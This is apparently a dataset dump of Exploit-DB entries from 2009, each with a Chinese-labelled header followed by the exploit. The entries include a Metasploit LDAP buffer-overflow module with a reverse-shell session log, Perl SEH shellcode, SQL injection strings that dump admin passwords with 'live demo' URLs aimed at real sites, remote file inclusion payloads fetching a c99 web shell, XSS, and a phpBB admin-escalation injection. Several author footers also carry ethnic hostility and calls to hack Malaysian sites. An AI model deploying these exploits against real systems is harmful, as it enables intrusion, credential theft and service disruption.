QLWD/code_shield huggingface dataset:
标题: SIDVault 2.0e - Windows Remote Buffer Overflow (Metasploit) EDB-ID: 9592 CVE: 2007-4566 类型: REMOTE 平台: WINDOWS 发布日期: 2009-09-04 漏洞利用脚本: #--attack-log--
#attacker@dz-labs:~/pentests/metasploit/framework-3.2/trunk$ ./msfcli exploit/windows/ldap/sidvault_ldap #PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 RHOST=192.168.1.3 E
#[*] Please wait while we load the module tree...
#[*] Handler binding to LHOST 0.0.0.0
#[*] Started reverse handler
#[*] Sending stage (718336 bytes)
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1076)

#meterpreter >


##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'SIDVault 2.0e Windows Remote Buffer Overflow',
   'Description'    => %q{
    This exploits a buffer overflow in the LDAP service that is
    part of the SIDVault product. This module was tested against
    version 2.0e.
     
   },
   'Author'   => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'URL', 'http://www.milw0rm.com/exploits/9586'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'  =>  'True',
    },
   'Platform'       => 'win',
   'Targets'        => 
    [
     #Tested against xp_sp3 OK
     ["Universal",   { 'Ret' => "\x29\x10\x40" }], #p/p/r sidvault.exe
    ],
   'DefaultTarget' => 0))
   
   register_options(
    [
     Opt::RPORT(389)
    ], self.class)
 end

 def exploit
  connect
  
  sploit = "\x30\x82\x12\x10\x02\x01\x01\x60\x82\x12\x09\x02\x01\x03\x04\x82\x10\xfe" 
  sploit << "dc=" 
  sploit << rand_text_alpha(1028)
  sploit << payload.encoded
  sploit << rand_text_alpha(3302 - payload.encoded.length)
  sploit << "\xE8\x15\xF3\xFF\xFF"
  sploit << make_nops(5)
  sploit << "\xEB\xF4\x90\x90"
  sploit << target.ret
  sploit << "\x80\x82\x01\x00"
  sploit << rand_text_alpha(500)
  
  sock.put(sploit)
  
  handler
 end

end

# milw0rm.com [2009-09-04] URL: https://www.exploit-db.com/exploits/9592
标题: Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service EDB-ID: 9587 CVE: 2009-2521 类型: DOS 平台: WINDOWS 发布日期: 2009-09-04 漏洞利用脚本: ***** MS IIS FTPD DoS ZER0DAY *****

There is a DoS vulnerability in the globbing functionality of IIS FTPD.
Anonymous users can exploit this if they have read access to a directory!!!
Normal users can exploit this too if they can read a directory.

Example session where the anonymous user has read access to the folder "pub":

C:\Users\Nikolaos>ftp 192.168.2.102
Verbindung mit 192.168.2.102 wurde hergestellt.
220 Microsoft FTP Service
Benutzer (192.168.2.102:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Kennwort:
230 Anonymous user logged in.
ftp> ls "-R p*/../"
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
Verbindung beendet durch Remotehost. (MEANS: Remote Host has closed
the connection)
ftp>
ftp>

By looking into my debugging session with OllyDbg I see that an
exception is raised and
the ftp service crashes due to a "stack overflow", what is a stack exhaustion.
If the ftp service is set to "manual" startup in services control
manager the service
needs to be restarted manually.
IIS 5.0 and 6.0 were tested and are affected.

Best Regards,

Nikolaos Rangos

# milw0rm.com [2009-09-04] URL: https://www.exploit-db.com/exploits/9587
标题: OtsTurntables 1.00.027 - '.m3u' / '.ofl' Universal Local Buffer Overflow (SEH) EDB-ID: 9589 CVE: 2007-4734 类型: LOCAL 平台: WINDOWS 发布日期: 2009-09-04 漏洞利用脚本: #!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# OtsTurntables Free 1.00.027 (.m3u/ ofl File) Local Universal BOF Exploit (SEH)
#--->> info:: 1.00.027 was released 3 March 2008
###http://www.brothersoft.com/otsturntables-free-download-86957.html
## Original exploit::http://www.milw0rm.com/exploits/8371
##################################################################
my $bof="\x41" x 884;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";#TEST UNDER SP2///SP3
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-09-04] URL: https://www.exploit-db.com/exploits/9589
标题: PHPope 1.0.0 - Multiple Remote File Inclusions EDB-ID: 9583 CVE: 2009-4472 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-03 漏洞利用脚本: ######################################################################
#[x] PHPope <= 1.0.0 Multiple Remote File Include Vulnerability                       
#[!] Download Script      :  http://sourceforge.net/projects/phpope/files/                          
#[!] Author               :  cr4wl3r                                       
#[!] Contact              :  cr4wl3r[4t]linuxmail[dot]org                  
#[!] Location             :  Gorontalo - INDONESIA                         
#[!] Dork                 :  "FuCk y0u MaLaYsia"       
######################################################################

[x] 3xplo!t :                                                             
                                                                                  
http://localhost/[path]/plugins/address/admin/index.php?GLOBALS[config][dir][plugins]=[AvriLhea]     
http://localhost/[path]/plugins/im/compose.php?GLOBALS[config][dir][functions]=[AvriLhea]
http://localhost/[path]/plugins/cssedit/admin/index.php?GLOBALS[config][dir][classes]=[AvriLhea]


and many others

######################################################################
#[!] Greetz : MyMom [alm]  
#                                                                        
#[!] Special Thanks : str0ke, google, sourceforge, All MusLiM HacKers  
#
#[!] Thanks 2 : xoron, opt!x hacker, irvian, cyberlog
#
#[!] AlfaNet Cr3w GoRonTaLo : FaHry PunKs, RhyA HaMim, BoBy C00l, UyaN, ArYa.TaMa
#
#[!] My BiG BozZ MinJo.B0rj0e (YanG PunYa SepaRuH KaMpuNg Bugis, JaNgan LuPa Am-Am) :D
#
#[!] FuCk MaLaYsia, I HaTe MaLaYsia, h0w Ab0uT y0u??? 
#
#[!] sekuritionline.net | manadocoding.net                                          
######################################################################

# milw0rm.com [2009-09-03] URL: https://www.exploit-db.com/exploits/9583
标题: PHP Live! 3.3 - 'deptid' SQL Injection EDB-ID: 9578 CVE: 2009-3062 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-02 漏洞利用脚本: *************************************************************************
,   .                                       |          |    o     |    
|   |,---.,---.,   .,---.,---.,---.,---.,---|,---.,---.|    .,---.|__/ 
`---'|   ||   ||   |,---||    ,---||    |   ||---'|    |    ||   ||  \ 
  |  `---'`---|`---|`---^`---'`---^`    `---'`---'`    `---'``   '`   `
  `       `---'`---'                                                   
*************************************************************************
[o] PHP Live! 3.3 (deptid) Remote SQL Injection

   --==[ Author ]==--
[+] Author : v3n0m
[+] Contact : v3n0m666[at]live[dot]com
[+] Blog : http://0wnage.wordpress.com/
[+] Group : YOGYACARDERLINK
[+] Site : http://yogyacarderlink.web.id/
[+] Date : September, 02-2009 [INDONESIA]
*************************************************************************
   --==[ Details ]==--
[+] Software : PHP Live! Chat
[+] Version  : v3.3
[+] Vendor  : http://www.phplivesupport.com/
[+] Price : $49.95
[+] Vulnerable : Remote SQL Injection
[+] Google Dork : "Powered by PHP Live! v3.3"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[-] Exploit:
[+] -999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin--

[-] Remote SQLi p0c:
[+] http://127.0.0.1/[path]/message_box.php?theme=&l=[username]&x=[xxx]&deptid=-999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin--
    [xxx] = Valid x number

[-] Demo Live:
[+] http://www.edunet-help.com/message_box.php?theme=&l=sekolahmy&x=1&deptid=-999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin--

[+] https://www.guestcentric.com/support/message_box.php?theme=&l=guestcentric_wb&x=1&deptid=-999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin--


FYI: Think twice before you buy these vulnerable script for $49.95 ?

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Special Thanks => str0ke & milw0rm
RedLine Crew => Bang Musa,Bang Yuan Rasugi Sang,Mas Andre,Dagol,Yazid
  => Ogie,Angga,Indah Boing,by-y0u Pletokan,Andrew
YOGYACARDERLINK => lingah,LeQhi,-Jali,Anak_Naga_,g0nz,IdioT_InsidE,aRiee
  => yoga0400,ghareng,eidelweiss,pKi,kaka11,z0mb13,Travis Eshan
  => & para gay yogyagaylink bruakakakakakakak
Others  => g0par Santiago,Don Tukulesto,mixbrainwasher
  => badkiddies,broken_hack,M364TR0N & ALL MOSLEM HACKERS
Big Thanks => mywisdom [nice 0-day, you're 31337]
  => yadoy666 [Mari kita ganyang malingsianjink]
  => Angela Zhang [kamu cantik,eksotis & mengerikan] (=^_^=)

* Fuck to Malaysia <= the truly thief asia
  be carefull your culture art & song,island get stolen and claimed by them
  letz we hack they sites & servers !! PROUD TO BE INDONESIAN !!
* 11:20pm in my bedroom, preparing office goes on...!!

# milw0rm.com [2009-09-02] URL: https://www.exploit-db.com/exploits/9578
标题: DataLife Engine 8.2 - dle_config_api Remote File Inclusion EDB-ID: 9572 CVE: 2009-3055 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: ======================================================
DatalifeEngine 8.2 Remote File Inclusion Vulnerability
 
<<!>> Found by  :  kurdish hackers team
<<!>> C0ntact : pshela [at] YaHoo .com
                  
<<!>> Groups : Kurd-Team
<<!>> site   : www.kurdteam.org
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
<<->> script   :: DatalifeEngine8.2
<<->> home script :: http://dlecms.com/download/DatalifeEngine8.2.zip
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
<<->> google dork : Powered By DataLife Engine
<<->> Exploit ::
 
 >>> www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]
 
 
=======================================================
 
=======================================================
<<->> All freinds , Zryan_kurd , RootSyS all member kurdish hackers team

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9572
标题: Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2) EDB-ID: 9574 CVE: 2009-2698 类型: LOCAL 平台: LINUX 发布日期: 2009-09-02 漏洞利用脚本: /* second verse, same as the first
   CVE-2009-2698 udp_sendmsg(), x86/x64
   Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at 
   NULL and finding it executed
   This exploit is a bit more nuanced and thoughtful ;)
   use ./therebel.sh for everything

   At this moment, when each of us must fit an arrow to his bow and 
   enter the lists anew, to reconquer, within history and in spite of it,
   that which he owns already, the thin yield of his fields, the brief 
   love of the earth, at this moment when at last a man is born, it is 
   time to forsake our age and its adolescent furies.  The bow bends; 
   the wood complains.  At the moment of supreme tension, there will 
   leap into flight an unswerving arrow, a shaft that is inflexible and 
   free.  -Camus
*/

main: http://grsecurity.net/~spender/therebel.tgz
back: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9574.tgz (2009-therebel.tgz)

# milw0rm.com [2009-09-02] URL: https://www.exploit-db.com/exploits/9574
标题: Discuz! Plugin JiangHu 1.1 - 'id' SQL Injection EDB-ID: 9576 CVE: 2009-4621 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-02 漏洞利用脚本: =========================================================
Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability
=========================================================

========================[Author]=========================                   

 [+] Founded  : ZhaoHuAn         
 [+] Contact : ZhengXing[at]shandagames[dot]com          
 [+] Blog : http://www.patching.net/zhaohuan/          
 [+] Date : Feb, 9th 2009  
 [+] Update : Sep, 1th 2009 
         
========================[Soft Info]======================   
         
Software: Discuz! Plugin JiangHu Inn           
Version : 1.1                      
Vendor : http://www.discuz.com
d0rk    : inurl:forummission.php                  



[-] Exploit:
[+] and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[-] SqlI PoC:
[+] http://target/[path]/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[+] Demo Live:
[-] http://www.palslp.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[-] http://bbs.sunspals.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--


/---------------------------------------------www.zhaohuan.net-------------------------------------------------\  

                                            Greetz : Snda Security Team
                                                    & Normal is boring - -!

\--------------------------------------------------------------------------------------------------------------/

# milw0rm.com [2009-09-02] URL: https://www.exploit-db.com/exploits/9576
标题: Ve-EDIT 0.1.4 - 'highlighter' Remote File Inclusion EDB-ID: 9577 CVE: 2009-3065 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-02 漏洞利用脚本: ====================================================
   | Ve-EDIT v 0.1.4 Remote File Include Vulne 
   |     My Home Page : WwW.Sec-Code.CoM
   |        Founded By RoMaNcYxHaCkEr           
   ====================================================
 
[!] Discovered.:                        RoMaNcYxHaCkEr
[!] Vendor.....:                          http://sourceforge.net/projects/phpwebeditor/
[!] My Homepage...:                 WwW.Sec-Code.CoM
[!] Security - Codes Group ...:  mr-al7rbi , sniper-code
[!] Contact Me ...:                     rXh@Mail.Net.Sa
 
[!] PoC........:
 
http://WwW.Sec-Code.CoM/vedit/editor/edit_htmlarea.php?highlighter=http://WwW.Sec-Code.CoM/c99.txt?
 
[!] Solution...:     Contact With Me ;)
 
[!] Greetingz..:    All My Forum Members , My TeaM , Ø£Ø¨Ùˆ Ø¹Ø°Ø§Ø¨ , Dexter Franklin ;)
 
[!] Thx .. :            CoBRa_21 For His Found
 
[!] Fuck To .. :      Third , Dev1l-Fucker , sarbot511 <<< They Big Big Big Big Lamerz
 
[!] Note :             Watch Out Your Back , Before I Kick Your Ass Asshole :)
 
[!] rXh
 
[!] bEST wISHES

# milw0rm.com [2009-09-02] URL: https://www.exploit-db.com/exploits/9577
标题: Xstate Real Estate 1.0 - Blind SQL Injection / Cross-Site Scripting EDB-ID: 9565 CVE: 2009-4478 2009-4477 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: /*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

Xstate Real Estate 1.0 (bSQL/XSS) Multiples Vulnerability

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://www.xstate.org

Greetings : Mizoz, Zuka, str0ke, 599eme Man.
Please visit: http://unkn0wn.ws/board/index.php

*/

[+] Exploit bSQL:

- Vulnerable code in page.html (pid).

- Poc:
  http://127.0.0.1/page.html?pid=[bSQL]

  http://demo.xstate.org/page.html?pid=1 and 1=1 TRUE
  http://demo.xstate.org/page.html?pid=1 and 1=2 FALSE

[+] Exploit XSS:

- Vulnerable code in home.html (/).
- Vulnerable code in lands.html (/d).

- Poc:
  http://127.0.0.1/home.html/[XSS]
  http://127.0.0.1/lands.html/[XSS]

  http://demo.xstate.org/home.html/"><script>alert(document.cookie);</script>
  http://demo.xstate.org/lands.html/"><script>alert(document.cookie);</script>

Note: have somes other xss, tired to do all ^^

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9565
标题: Joomla! Component com_gameserver 1.0 - 'id' SQL Injection EDB-ID: 9571 CVE: 2009-3063 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: *************************************************************************
,   .                                       |          |    o     |    
|   |,---.,---.,   .,---.,---.,---.,---.,---|,---.,---.|    .,---.|__/ 
`---'|   ||   ||   |,---||    ,---||    |   ||---'|    |    ||   ||  \ 
  |  `---'`---|`---|`---^`---'`---^`    `---'`---'`    `---'``   '`   `
  `       `---'`---'                                                   
*************************************************************************
[o] Joomla Component com_gameserver 1.0 (id) SQL Injection Vulnerability

   --==[ Author ]==--
[+] Author : v3n0m
[+] Contact : v3n0m666[at]live[dot]com
[+] Blog : http://0wnage.wordpress.com/
[+] Group : YOGYACARDERLINK
[+] Site : http://yogyacarderlink.web.id/
[+] Date : September, 03rd 2009 [INDONESIA]
*************************************************************************
   --==[ Details ]==--
[+] Software : Game Server Component
[+] Version  : 1.0
[+] Vendor  : http://www.indianpulse.in/
[+] License : GPL
[+] Vulnerable : SQL Injection
[+] Google Dork : inurl:"com_gameserver"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[-] Exploit:
[+] 999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--

[-] SQLi p0c:
[+] http://127.0.0.1/[path]/index.php?option=com_gameserver&view=gamepanel&id=999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--

[-] Demo Live:
[+] http://www.jacker.ro/index.php?option=com_gameserver&view=gamepanel&id=999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Special Thanks => str0ke & milw0rm
RedLine Crew => Bang Musa,Bang Yuan Rasugi Sang,Mas Andre,Dagol,Yazid
  => Ogie,Angga,Indah Boing,by-y0u Pletokan,Andrew
YOGYACARDERLINK => lingah,leQhi,-Jali,Anak_Naga_,g0nz,IdioT_InsidE,aRiee
  => yoga0400,ghareng,eidelweiss,pKi,kaka11,z0mb13,Travis Eshan
  => & para gay yogyagaylink bruakakakakakakak
Others  => g0par Santiago,Don Tukulesto,mixbrainwasher
  => badkiddies,broken_hack,M364TR0N & ALL MOSLEM HACKERS
Big Thanks => mywisdom [nice 0-day, you're 31337]
  => yadoy666 [Mari kita ganyang malingsianjink]
  => Angela Chang [kamu cantik,eksotis & mengerikan] (=^_^=)

* Fuck to Malaysia <= the truly thief asia
  be carefull your culture art & song,island get stolen and claimed by them
  letz we hack they sites & servers !! PROUD TO BE INDONESIAN !!
* 02:55am dreaming alone about future & my old story in my bedroom

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9571
标题: phpBB3 - addon prime_quick_style GetAdmin EDB-ID: 9569 CVE: 2009-3052 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: ##########################################################################
#
# phpBB3 addon prime_quick_style GetAdmin Exploit
#
# Vulnerability found and exploited by -SmoG-
#
# target file: prime_quick_style.php
#
#
#   vuln: POST parameter "prime_quick_style" is injectable.
#   source: http://www.phpbb.com/community/viewtopic.php?f=70&t=692625
#
# HowTo: after login, go to "./ucp.php" and manipulate the content from the "prime_quick_style"-parameter.
# example: prime_quick_style = "5,user_type = 3, user_permissions = ''"
#  
# query will be look like this: "UPDATE USER_TABLE SET user_style = ANY_STYLE(integer), user_type = 3, user_permissions = '' WHERE user_id = YourId"
#
# gratz, now u will be an admin  :) 
#
# --- greetz to Pronoobz.org --- AbiDez, ChinaSun and ~dp~ || Thanks you a lot! ---
#
#
#              -( by -SmoG- )-
##########################################################################

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9569
标题: Ve-EDIT 0.1.4 - 'debug_PHP.php' Local File Inclusion EDB-ID: 9570 CVE: 2009-3064 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-01 漏洞利用脚本: -------------------------------------------------------------------------------------
Ve-EDIT v 0.1.4 (debug_php.php) LFI Vulnerability
-------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu[at]windowslive[dot]com
 
Script Download: http://sourceforge.net/projects/phpwebeditor/
 
-------------------------------------------------------------------------------------
 
EXPLOÄ°T:
 
http://localhost/[PATH]/debugger/debug_php.php?_GET[filename]= [LFÄ°]
 
-------------------------------------------------------------------------------------
 
BUG
Line 53:        require("./../".$_GET["filename"]); 
 
-------------------------------------------------------------------------------------

# milw0rm.com [2009-09-01] URL: https://www.exploit-db.com/exploits/9570